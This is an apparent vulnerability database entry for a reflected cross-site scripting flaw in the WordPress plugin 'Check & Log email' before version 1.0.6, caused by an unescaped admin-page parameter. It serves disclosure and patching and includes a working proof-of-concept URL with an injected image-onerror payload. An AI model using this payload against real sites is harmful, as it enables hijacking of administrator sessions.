Lucene search

K
wpexploit7cooWPEX-ID:83ECA346-7045-414E-81FC-E0D9B735F0BD
HistoryMay 02, 2022 - 12:00 a.m.

Check & Log email < 1.0.6 - Reflected Cross-Site Scripting

2022-05-0200:00:00
7coo
75

0.001 Low

EPSS

Percentile

40.3%

The plugin does not sanitise and escape a parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting

https://example.com/wp-admin/admin.php?page=check-email-settings&tab="><img src onerror=alert(/XSS/)>

0.001 Low

EPSS

Percentile

40.3%

Related for WPEX-ID:83ECA346-7045-414E-81FC-E0D9B735F0BD